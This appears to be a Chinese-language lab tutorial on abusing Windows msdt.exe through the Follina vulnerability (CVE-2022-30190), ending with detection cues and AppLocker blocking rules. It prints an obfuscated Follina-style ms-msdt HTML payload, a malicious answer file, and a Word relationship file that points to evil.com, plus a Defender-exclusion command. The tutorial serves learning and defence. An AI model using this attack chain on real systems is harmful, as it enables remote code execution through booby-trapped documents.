Msdt.exe 是用來執行疑難排解套件的工具,
但在 2022 年的 Follina (CVE-2022-30190) 漏洞讓全世界見識到它的危險性。
MSDT (Microsoft Support Diagnostic Tool) 的運作方式:
# 執行疑難排解套件
msdt.exe /cab C:\Windows\diagnostics\system\networking\DiagPackage.diagcab
# 使用 Answer File
msdt.exe /af C:\ProgramData\Microsoft\Windows\WDI\{67144949-5132-4859-8036-a737b43825d8}\{e4a50vitals.xml}
# 透過 ID 執行
msdt.exe /id NetworkDiagnosticsWeb
重點是:msdt.exe 可以透過 URL 協議被遠端呼叫,這就是我們這次的主要攻擊點!
malicious_answer.xml
:
<?xml version="1.0" encoding="utf-8"?>
<PackageConfiguration>
<PowerShellScript>
<Arguments>Start-Process calc.exe</Arguments>
<RequireElevation>false</RequireElevation>
</PowerShellScript>
<Execution>
<CommandLine>cmd.exe /c echo MSDT_Executed > C:\Windows\Temp\msdt_test.txt</CommandLine>
<RequiresElevation>false</RequiresElevation>
</Execution>
</PackageConfiguration>
基本格式:
ms-msdt:/id PCWDiagnostic /skip force /param "arg1 value1" /param "arg2 value2"
惡意 URL(Follina 風格):
<!-- 惡意 HTML -->
<!DOCTYPE html>
<html>
<head>
<title>Invoice</title>
</head>
<body>
<script>
// 透過 ms-msdt 協議執行
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+'::UTF8.GetString([System.Convert]'+'::FromBase64String('+'\\'ZWNobyBIYWNrZWQh\\''))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";
</script>
</body>
</html>
# 執行本地 Answer File
msdt.exe /af C:\TestLab\malicious_answer.xml
# 執行遠端 Answer File(可能被阻擋)
msdt.exe /af \\evil-server\share\answer.xml
建立惡意 Word 文件:
_rels/document.xml.rels
:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
Target="https://evil.com/malicious.html!"
TargetMode="External"/>
</Relationships>
# 直接呼叫
Start-Process "msdt.exe" -ArgumentList "/id PCWDiagnostic /skip force"
# 透過 COM 物件
$shell = New-Object -ComObject Shell.Application
$shell.ShellExecute("msdt.exe", "/af C:\TestLab\answer.xml")
# 建立捷徑
$ws = New-Object -ComObject WScript.Shell
$shortcut = $ws.CreateShortcut("C:\TestLab\diagnostic.lnk")
$shortcut.TargetPath = "msdt.exe"
$shortcut.Arguments = "/id PCWDiagnostic"
$shortcut.Save()
mkdir C:\TestLab
cd C:\TestLab
powershell -c "Add-MpPreference -ExclusionPath 'C:\TestLab'"
:: 列出可用的診斷包
msdt.exe /id PCWDiagnostic
:: 測試基本執行(會開啟診斷視窗)
msdt.exe /id NetworkDiagnosticsWeb /skip true
# 建立測試 HTML
@'
<html>
<head>
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force";
</script>
</head>
</html>
'@ | Out-File -FilePath C:\TestLab\test.html
# 開啟會觸發 msdt(但不會執行惡意程式碼)
Start-Process C:\TestLab\test.html
msdt.exe
+ /af
參數msdt.exe
從 Office 程序啟動ms-msdt:
協議在網頁或文件中# 透過 AppLocker 限制 msdt.exe
New-AppLockerPolicy -RuleType Exe -Publisher "*" -User Everyone -Action Deny -Path "%WINDIR%\System32\msdt.exe"
# 限制從 Office 啟動
$rule = @"
<AppLockerPolicy Version="1">
<RuleCollection Type="Exe" EnforcementMode="Enabled">
<FilePathRule Id="Block_MSDT_From_Office" Name="Block MSDT from Office"
Description="Prevent Office from launching MSDT"
UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FilePathCondition Path="%WINDIR%\System32\msdt.exe"/>
</Conditions>
</FilePathRule>
</RuleCollection>
</AppLockerPolicy>
"@
Word 文件 → 外部關係 → 惡意 HTML → ms-msdt: URL → msdt.exe → PowerShell
MSDT 的危險性: